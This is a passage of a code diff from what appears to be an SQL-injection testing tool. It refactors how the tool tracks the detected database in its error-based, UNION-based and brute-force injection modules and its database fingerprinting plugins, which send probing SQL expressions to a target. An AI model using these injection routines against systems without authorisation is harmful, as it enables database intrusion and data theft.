a/lib/techniques/brute/use.py b/lib/techniques/brute/use.py index 516e3fc96..3f3e4ef00 100644 --- a/lib/techniques/brute/use.py +++ b/lib/techniques/brute/use.py @@ -15,7 +15,7 @@ from lib.core.common import dataToSessionFile from lib.core.common import dataToStdout from lib.core.common import filterListValue from lib.core.common import getFileItems -from lib.core.common import getIdentifiedDBMS +from lib.core.common import backend from lib.core.common import getPageTextWordsSet from lib.core.common import popValue from lib.core.common import pushValue @@ -32,7 +32,7 @@ from lib.core.session import safeFormatString from lib.request import inject def tableExists(tableFile, regex=None): - tables = getFileItems(tableFile, lowercase=getIdentifiedDBMS() in (DBMS.ACCESS), unique=True) + tables = getFileItems(tableFile, lowercase=backend.getIdentifiedDbms() in (DBMS.ACCESS), unique=True) retVal = [] infoMsg = "checking table existence using items from '%s'" % tableFile diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 68949083e..9f547b93e 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -14,7 +14,7 @@ from lib.core.agent import agent from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToSessionFile from lib.core.common import extractRegexResult -from lib.core.common import getIdentifiedDBMS +from lib.core.common import backend from lib.core.common import initTechnique from lib.core.common import isNumPosStrValue from lib.core.common import randomInt @@ -40,7 +40,7 @@ def __oneShotErrorUse(expression, field): check = "%s(?P.*?)%s" % (kb.misc.start, kb.misc.stop) nulledCastedField = agent.nullAndCastField(field) - if getIdentifiedDBMS() == DBMS.MYSQL: + if backend.getIdentifiedDbms() == DBMS.MYSQL: # Fix for MySQL odd behaviour ('Subquery returns more than 1 row') nulledCastedField = nulledCastedField.replace("AS CHAR)", "AS CHAR(100))") @@ -142,14 +142,14 @@ def errorUse(expression, expected=None, resumeValue=True, dump=False): # entry per time # NOTE: I assume that only queries that get data from a table can # return multiple entries - if " FROM " in expression.upper() and ((getIdentifiedDBMS() not in FROM_TABLE) or (getIdentifiedDBMS() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]))) and "EXISTS(" not in expression.upper(): - limitRegExp = re.search(queries[getIdentifiedDBMS()].limitregexp.query, expression, re.I) + if " FROM " in expression.upper() and ((backend.getIdentifiedDbms() not in FROM_TABLE) or (backend.getIdentifiedDbms() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]))) and "EXISTS(" not in expression.upper(): + limitRegExp = re.search(queries[backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) - if limitRegExp or (getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): - if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL): - limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query - limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query + if limitRegExp or (backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): + if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): + limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query + limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) @@ -157,10 +157,10 @@ def errorUse(expression, expected=None, resumeValue=True, dump=False): stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 - elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE): + elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if limitRegExp: - limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query - limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query + limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query + limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) @@ -172,7 +172,7 @@ def errorUse(expression, expected=None, resumeValue=True, dump=False): stopLimit = int(topLimit.group(1)) limitCond = int(stopLimit) > 1 - elif getIdentifiedDBMS() == DBMS.ORACLE: + elif backend.getIdentifiedDbms() == DBMS.ORACLE: limitCond = False else: limitCond = True @@ -186,12 +186,12 @@ def errorUse(expression, expected=None, resumeValue=True, dump=False): # From now on we need only the expression until the " LIMIT " # (or similar, depending on the back-end DBMS) word - if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL): + if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): stopLimit += startLimit - untilLimitChar = expression.index(queries[getIdentifiedDBMS()].limitstring.query) + untilLimitChar = expression.index(queries[backend.getIdentifiedDbms()].limitstring.query) expression = expression[:untilLimitChar] - elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE): + elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): stopLimit += startLimit elif dump: if conf.limitStart: @@ -200,14 +200,14 @@ def errorUse(expression, expected=None, resumeValue=True, dump=False): stopLimit = conf.limitStop if not stopLimit or stopLimit <= 1: - if getIdentifiedDBMS() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]): + if backend.getIdentifiedDbms() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]): test = False else: test = True if test: # Count the number of SQL query entries output - countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0] + countFirstField = queries[backend.getIdentifiedDbms()].count.query % expressionFieldsList[0] countedExpression = expression.replace(expressionFields, countFirstField, 1) if re.search(" ORDER BY ", expression, re.I): diff --git a/lib/techniques/inband/union/test.py b/lib/techniques/inband/union/test.py index dcfe60b36..ce902beac 100644 --- a/lib/techniques/inband/union/test.py +++ b/lib/techniques/inband/union/test.py @@ -12,7 +12,7 @@ import time from lib.core.agent import agent from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout -from lib.core.common import getIdentifiedDBMS +from lib.core.common import backend from lib.core.common import getUnicode from lib.core.common import parseUnionPage from lib.core.common import randomStr @@ -98,14 +98,14 @@ def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar) for count in range(conf.uColsStart, conf.uColsStop+1): - if getIdentifiedDBMS() in FROM_TABLE and query.endswith(FROM_TABLE[getIdentifiedDBMS()]): - query = query[:-len(FROM_TABLE[getIdentifiedDBMS()])] + if backend.getIdentifiedDbms() in FROM_TABLE and query.endswith(FROM_TABLE[backend.getIdentifiedDbms()]): + query = query[:-len(FROM_TABLE[backend.getIdentifiedDbms()])] if count: query += ", %s" % conf.uChar - if getIdentifiedDBMS() in FROM_TABLE: - query += FROM_TABLE[getIdentifiedDBMS()] + if backend.getIdentifiedDbms() in FROM_TABLE: + query += FROM_TABLE[backend.getIdentifiedDbms()] status = "%d/%d" % (count, conf.uColsStop) debugMsg = "testing %s columns (%d%%)" % (status, round(100.0*count/conf.uColsStop)) diff --git a/lib/techniques/inband/union/use.py b/lib/techniques/inband/union/use.py index 2939817ec..eb9000c03 100644 --- a/lib/techniques/inband/union/use.py +++ b/lib/techniques/inband/union/use.py @@ -14,7 +14,7 @@ from lib.core.agent import agent from lib.core.common import calculateDeltaSeconds from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout -from lib.core.common import getIdentifiedDBMS +from lib.core.common import backend from lib.core.common import getUnicode from lib.core.common import initTechnique from lib.core.common import isNumPosStrValue @@ -103,14 +103,14 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack # entry per time # NOTE: I assume that only queries that get data from a table can # return multiple entries - if " FROM " in expression.upper() and ((getIdentifiedDBMS() not in FROM_TABLE) or (getIdentifiedDBMS() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]))) and "EXISTS(" not in expression.upper(): - limitRegExp = re.search(queries[getIdentifiedDBMS()].limitregexp.query, expression, re.I) + if " FROM " in expression.upper() and ((backend.getIdentifiedDbms() not in FROM_TABLE) or (backend.getIdentifiedDbms() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]))) and "EXISTS(" not in expression.upper(): + limitRegExp = re.search(queries[backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) - if limitRegExp or (getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): - if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL): - limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query - limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query + if limitRegExp or (backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): + if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): + limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query + limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) @@ -118,10 +118,10 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 - elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE): + elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if limitRegExp: - limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query - limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query + limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query + limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) @@ -133,7 +133,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack stopLimit = int(topLimit.group(1)) limitCond = int(stopLimit) > 1 - elif getIdentifiedDBMS() == DBMS.ORACLE: + elif backend.getIdentifiedDbms() == DBMS.ORACLE: limitCond = False else: limitCond = True @@ -147,12 +147,12 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack # From now on we need only the expression until the " LIMIT " # (or similar, depending on the back-end DBMS) word - if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL): + if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): stopLimit += startLimit - untilLimitChar = expression.index(queries[getIdentifiedDBMS()].limitstring.query) + untilLimitChar = expression.index(queries[backend.getIdentifiedDbms()].limitstring.query) expression = expression[:untilLimitChar] - elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE): + elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): stopLimit += startLimit elif dump: if conf.limitStart: @@ -161,14 +161,14 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack stopLimit = conf.limitStop if not stopLimit or stopLimit <= 1: - if getIdentifiedDBMS() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]): + if backend.getIdentifiedDbms() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]): test = False else: test = True if test: # Count the number of SQL query entries output - countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0] + countFirstField = queries[backend.getIdentifiedDbms()].count.query % expressionFieldsList[0] countedExpression = origExpr.replace(expressionFields, countFirstField, 1) if re.search(" ORDER BY ", expression, re.I): @@ -216,9 +216,9 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack try: for num in xrange(startLimit, stopLimit): - if getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE): + if backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): field = expressionFieldsList[0] - elif getIdentifiedDBMS() == DBMS.ORACLE: + elif backend.getIdentifiedDbms() == DBMS.ORACLE: field = expressionFieldsList else: field = None diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 0449829ea..cf91748be 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -22,7 +22,7 @@ from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import getCompiledRegex from lib.core.common import getFileItems -from lib.core.common import getIdentifiedDBMS +from lib.core.common import backend from lib.core.common import getPublicTypeMembers from lib.core.common import getUnicode from lib.core.common import paths @@ -270,9 +270,9 @@ def hashRecognition(value): if value: for name, regex in getPublicTypeMembers(HASH): # Hashes for Oracle and old MySQL look the same hence these checks - if getIdentifiedDBMS() == DBMS.ORACLE and regex == HASH.MYSQL_OLD: + if backend.getIdentifiedDbms() == DBMS.ORACLE and regex == HASH.MYSQL_OLD: continue - elif getIdentifiedDBMS() == DBMS.MYSQL and regex == HASH.ORACLE_OLD: + elif backend.getIdentifiedDbms() == DBMS.MYSQL and regex == HASH.ORACLE_OLD: continue elif getCompiledRegex(regex).match(value): retVal = regex diff --git a/lib/utils/resume.py b/lib/utils/resume.py index 3b434e7ac..a80fbab33 100644 --- a/lib/utils/resume.py +++ b/lib/utils/resume.py @@ -13,7 +13,7 @@ import time from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToSessionFile from lib.core.common import dataToStdout -from lib.core.common import getIdentifiedDBMS +from lib.core.common import backend from lib.core.common import safeStringFormat from lib.core.common import randomStr from lib.core.common import replaceNewlineTabs @@ -34,7 +34,7 @@ def queryOutputLength(expression, payload): Returns the query output length. """ - lengthQuery = queries[getIdentifiedDBMS()].length.query + lengthQuery = queries[backend.getIdentifiedDbms()].length.query select = re.search("\ASELECT\s+", expression, re.I) selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I) @@ -60,7 +60,7 @@ def queryOutputLength(expression, payload): if selectDistinctExpr: lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % regExpr, expression) - if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): + if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): lengthExpr += " AS %s" % randomStr(lowercase=True) elif select: lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1) @@ -142,10 +142,10 @@ def resume(expression, payload): if not payload: return None - if not getIdentifiedDBMS(): + if not backend.getIdentifiedDbms(): return None - substringQuery = queries[getIdentifiedDBMS()].substring.query + substringQuery = queries[backend.getIdentifiedDbms()].substring.query select = re.search("\ASELECT ", expression, re.I) _, length, regExpr = queryOutputLength(expression, payload) diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index 0b50bad6f..b686cdefd 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -10,10 +10,9 @@ See the file 'doc/COPYING' for copying permission import re from lib.core.agent import agent -from lib.core.common import formatDBMSfp -from lib.core.common import formatFingerprint +from lib.core.common import backend +from lib.core.common import format from lib.core.common import getCurrentThreadData -from lib.core.common import getErrorParsedDBMSesFormatted from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import wasLastRequestDBMSError @@ -38,14 +37,15 @@ class Fingerprint(GenericFingerprint): # Reference: http://milw0rm.com/papers/198 retVal = None table = None - if kb.dbmsVersion and len(kb.dbmsVersion) > 0: - if kb.dbmsVersion[0] in ("97", "2000"): - table = "MSysAccessObjects" - elif kb.dbmsVersion[0] in ("2002-2003", "2007"): - table = "MSysAccessStorage" - if table: - result = inject.checkBooleanExpression("EXISTS(SELECT CURDIR() FROM %s)" % table) - retVal = "not sandboxed" if result else "sandboxed" + + if backend.isVersionWithin(("97", "2000")): + table = "MSysAccessObjects" + elif backend.isVersionWithin(("2002-2003", "2007")): + table = "MSysAccessStorage" + + if table is not None: + result = inject.checkBooleanExpression("EXISTS(SELECT CURDIR() FROM %s)" % table) + retVal = "not sandboxed" if result else "sandboxed" return retVal @@ -55,30 +55,37 @@ class Fingerprint(GenericFingerprint): # Microsoft Access table reference updated on 01/2010 sysTables = { - "97": ("MSysModules2", "MSysAccessObjects"), - "2000" : ("!MSysModules2", "MSysAccessObjects"), - "2002-2003" : ("MSysAccessStorage", "!MSysNavPaneObjectIDs"), - "2007" : ("MSysAccessStorage", "MSysNavPaneObjectIDs") + "97": ("MSysModules2", "MSysAccessObjects"), + "2000" : ("!MSysModules2", "MSysAccessObjects"), + "2002-2003" : ("MSysAccessStorage", "!MSysNavPaneObjectIDs"), + "2007" : ("MSysAccessStorage", "MSysNavPaneObjectIDs") } # MSysAccessXML is not a reliable system table because it doesn't always exist # ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty") for version, tables in sysTables.items(): exist = True + for table in tables: negate = False + if table[0] == '!': negate = True table = table[1:] + randInt = randomInt() result = inject.checkBooleanExpression("EXISTS(SELECT * FROM %s WHERE %d=%d)" % (table, randInt, randInt)) if result is None: result = False + if negate: result = not result + exist &= result + if not exist: break + if exist: return version @@ -108,13 +115,13 @@ class Fingerprint(GenericFingerprint): def getFingerprint(self): value = "" - wsOsFp = formatFingerprint("web server", kb.headersFp) + wsOsFp = format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: - dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) + dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp @@ -122,7 +129,7 @@ class Fingerprint(GenericFingerprint): value += "back-end DBMS: " if not conf.extensiveFp: - value += "Microsoft Access" + value += DBMS.ACCESS return value actVer = formatDBMSfp() + " (%s)" % (self.__sandBoxCheck()) @@ -138,7 +145,7 @@ class Fingerprint(GenericFingerprint): banVer = formatDBMSfp([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) - htmlErrorFp = getErrorParsedDBMSesFormatted() + htmlErrorFp = format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) @@ -148,37 +155,43 @@ class Fingerprint(GenericFingerprint): return value def checkDbms(self): - if not conf.extensiveFp and (kb.dbms is not None and kb.dbms.lower() in ACCESS_ALIASES) or conf.dbms in ACCESS_ALIASES: + if not conf.extensiveFp and (backend.isDbmsWithin(ACCESS_ALIASES) or conf.dbms in ACCESS_ALIASES): setDbms(DBMS.ACCESS) return True - logMsg = "testing Microsoft Access" + logMsg = "testing %s" % DBMS.ACCESS logger.info(logMsg) result = inject.checkBooleanExpression("VAL(CVAR(1))=1") if result: - logMsg = "confirming Microsoft Access" + logMsg = "confirming %s" % DBMS.ACCESS logger.info(logMsg) result = inject.checkBooleanExpression("IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0") if not result: - warnMsg = "the back-end DBMS is not Microsoft Access" + warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS logger.warn(warnMsg) return False - setDbms("Microsoft Access") + setDbms(DBMS.ACCESS) if not conf.extensiveFp: return True - kb.dbmsVersion = [self.__sysTablesCheck()] + infoMsg = "actively fingerprinting %s" % DBMS.ACCESS + logger.info(infoMsg) + + version = self.__sysTablesCheck() + + if version is not None: + backend.setVersion(version) return True else: - warnMsg = "the back-end DBMS is not Microsoft Access" + warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS logger.warn(warnMsg) return False diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index 99965adc4..695fc6450 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -10,10 +10,8 @@ See the file 'doc/COPYING' for copying permission import re from lib.core.agent import agent -from lib.core.common import formatDBMSfp -from lib.core.common import formatFingerprint -from lib.core.common import getErrorParsedDBMSesFormatted -from lib.core.common import getIdentifiedDBMS +from lib.core.common import backend +from lib.core.common import format from lib.core.common import getUnicode from lib.core.common import randomInt from lib.core.common import randomRange @@ -35,13 +33,13 @@ class Fingerprint(GenericFingerprint): def getFingerprint(self): value = "" - wsOsFp = formatFingerprint("web server", kb.headersFp) + wsOsFp = format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: - dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) + dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp @@ -65,7 +63,7 @@ class Fingerprint(GenericFingerprint): banVer = formatDBMSfp([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) - htmlErrorFp = getErrorParsedDBMSesFormatted() + htmlErrorFp = format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) @@ -84,13 +82,15 @@ class Fingerprint(GenericFingerprint): for i in xrange(len(table)): version, checks = table[i] failed = False - check = checks[randomRange(0,len(checks)-1)].replace("%d", getUnicode(randomRange(1,100))) + check = checks[randomRange(0, len(checks)-1)].replace("%d", getUnicode(randomRange(1,100))) result = inject.checkBooleanExpression(check) + if result: retVal = version else: failed = True break + if failed: break @@ -99,14 +99,14 @@ class Fingerprint(GenericFingerprint): def __dialectCheck(self): retVal = None - if getIdentifiedDBMS(): + if backend.getIdentifiedDbms(): result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_DATE FROM RDB$DATABASE)") retVal = "dialect 3" if result else "dialect 1" return retVal def checkDbms(self): - if not conf.extensiveFp and (kb.dbms is not None and kb.dbms.lower() in FIREBIRD_ALIASES) or conf.dbms in FIREBIRD_ALIASES: + if not conf.extensiveFp and (backend.isDbmsWithin(FIREBIRD_ALIASES) or conf.dbms in FIREBIRD_ALIASES): setDbms(DBMS.FIREBIRD) self.getBanner() @@ -114,33 +114,39 @@ class Fingerprint(GenericFingerprint): if not conf.extensiveFp: return True - logMsg = "testing Firebird" + logMsg = "testing %s" % DBMS.FIREBIRD logger.info(logMsg) randInt = randomInt() result = inject.checkBooleanExpression("EXISTS(SELECT * FROM RDB$DATABASE WHERE %d=%d)" % (randInt, randInt)) if result: - logMsg = "confirming Firebird" + logMsg = "confirming %s" % DBMS.FIREBIRD logger.info(logMsg) result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)") if not result: - warnMsg = "the back-end DBMS is not Firebird" + warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD logger.warn(warnMsg) return False setDbms(DBMS.FIREBIRD) - kb.dbmsVersion = [self.__sysTablesCheck()] + infoMsg = "actively fingerprinting %s" % DBMS.FIREBIRD + logger.info(infoMsg) + + version = self.__sysTablesCheck() + + if version is not None: + backend.setVersion(version) self.getBanner() return True else: - warnMsg = "the back-end DBMS is not Firebird" + warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD logger.warn(warnMsg) return False diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index 1b57dc485..d0ac75f19 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -10,9 +10,8 @@ See the file 'doc/COPYING' for copying permission import re from lib.core.agent import agent -from lib.core.common import formatDBMSfp -from lib.core.common import formatFingerprint -from lib.core.common import getErrorParsedDBMSesFormatted +from lib.core.common import backend +from lib.core.common import format from lib.core.common import randomInt from lib.core.common import randomRange from lib.core.data import conf @@ -32,7 +31,7 @@ class Fingerprint(GenericFingerprint): GenericFingerprint.__init__(self, DBMS.MAXDB) def __versionCheck(self): - infoMsg = "executing SAP MaxDB SYSINFO version check" + infoMsg = "executing %s SYSINFO version check" % DBMS.MAXDB logger.info(infoMsg) query = agent.prefixQuery("/* NoValue */") @@ -41,7 +40,7 @@ class Fingerprint(GenericFingerprint): result = Request.queryPage(payload) if not result: - warnMsg = "unable to perform SAP MaxDB version check" + warnMsg = "unable to perform %s version check" % DBMS.MAXDB logger.warn(warnMsg) return None @@ -67,13 +66,13 @@ class Fingerprint(GenericFingerprint): def getFingerprint(self): value = "" - wsOsFp = formatFingerprint("web server", kb.headersFp) + wsOsFp = format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: - dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) + dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp @@ -92,7 +91,7 @@ class Fingerprint(GenericFingerprint): if kb.bannerFp: value += "\n%sbanner parsing fingerprint: -" % blank - htmlErrorFp = getErrorParsedDBMSesFormatted() + htmlErrorFp = format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) @@ -100,27 +99,27 @@ class Fingerprint(GenericFingerprint): return value def checkDbms(self): - if not conf.extensiveFp and (kb.dbms is not None and kb.dbms.lower() in MAXDB_ALIASES) or conf.dbms in MAXDB_ALIASES: + if not conf.extensiveFp and (backend.isDbmsWithin(MAXDB_ALIASES) or conf.dbms in MAXDB_ALIASES): setDbms(DBMS.MAXDB) self.getBanner() return True - logMsg = "testing SAP MaxDB" + logMsg = "testing %s" % DBMS.MAXDB logger.info(logMsg) randInt = randomInt() result = inject.checkBooleanExpression("%d=NOROUND(%d)" % (randInt, randInt)) if result: - logMsg = "confirming SAP MaxDB" + logMsg = "confirming %s" % DBMS.MAXDB logger.info(logMsg) result = inject.checkBooleanExpression("MAPCHAR(NULL,1,DEFAULTMAP) IS NULL") if not result: - warnMsg = "the back-end DBMS is not SAP MaxDB" + warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB logger.warn(warnMsg) return False @@ -129,12 +128,9 @@ class Fingerprint(GenericFingerprint): self.getBanner() - if not conf.extensiveFp: - return True - return True else: - warnMsg = "the back-end DBMS is not SAP MaxDB" + warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB logger.warn(warnMsg) return False diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index 43a20fe57..c93fc20e0 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -9,7 +9,7 @@ See the file 'doc/COPYING' for copying permission from lib.core.agent import agent from lib.core.common import arrayizeValue -from lib.core.common import getIdentifiedDBMS +from lib.core.common import backend from lib.core.common import getRange from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable @@ -41,7 +41,7 @@ class Enumeration(GenericEnumeration): infoMsg += " for database '%s'" % conf.db logger.info(infoMsg) - rootQuery = queries[getIdentifiedDBMS()].tables + rootQuery = queries[backend.getIdentifiedDbms()].tables if not conf.db: if not len(kb.data.cachedDbs): @@ -111,7 +111,7 @@ class Enumeration(GenericEnumeration): return kb.data.cachedTables def searchTable(self): - rootQuery = queries[getIdentifiedDBMS()].search_table + rootQuery = queries[backend.getIdentifiedDbms()].search_table foundTbls = {} tblList = conf.tbl.split(",") tblCond = rootQuery.inband.condition @@ -195,7 +195,7 @@ class Enumeration(GenericEnumeration): return foundTbls def searchColumn(self): - rootQuery = queries[getIdentifiedDBMS()].search_column + rootQuery = queries[backend.getIdentifiedDbms()].search_column foundCols = {} dbs = {} colList = conf.col.split(",") diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index 160f8b401..9c4e37406 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -8,9 +8,8 @@ See the file 'doc/COPYING' for copying permission """ from lib.core.agent import agent -from lib.core.common import formatDBMSfp -from lib.core.common import formatFingerprint -from lib.core.common import getErrorParsedDBMSesFormatted +from lib.core.common import backend +from lib.core.common import format from lib.core.common import getUnicode from lib.core.common import randomInt from lib.core.data import conf @@ -31,13 +30,13 @@ class Fingerprint(GenericFingerprint): def getFingerprint(self): value = "" - wsOsFp = formatFingerprint("web server", kb.headersFp) + wsOsFp = format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: - dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) + dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp @@ -58,13 +57,13 @@ class Fingerprint(GenericFingerprint): servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None if release and version and servicepack: - banVer = "Microsoft SQL Server %s " % release + banVer = "%s %s " % (DBMS.MSSQL, release) banVer += "Service Pack %s " % servicepack banVer += "version %s" % version value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) - htmlErrorFp = getErrorParsedDBMSesFormatted() + htmlErrorFp = format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) @@ -72,10 +71,10 @@ class Fingerprint(GenericFingerprint): return value def checkDbms(self): - if not conf.extensiveFp and ((kb.dbms is not None and kb.dbms.lower() in MSSQL_ALIASES) \ - or conf.dbms in MSSQL_ALIASES) and kb.dbmsVersion and \ - kb.dbmsVersion[0].isdigit(): - setDbms("%s %s" % (DBMS.MSSQL, kb.dbmsVersion[0])) + if not conf.extensiveFp and (backend.isDbmsWithin(MSSQL_ALIASES) \ + or conf.dbms in MSSQL_ALIASES) and backend.getVersion() and \ + backend.getVersion().isdigit(): + setDbms("%s %s" % (DBMS.MSSQL, backend.getVersion())) self.getBanner() @@ -83,7 +82,7 @@ class Fingerprint(GenericFingerprint): return True - infoMsg = "testing Microsoft SQL Server" + infoMsg = "testing %s" % DBMS.MSSQL logger.info(infoMsg) # NOTE: SELECT 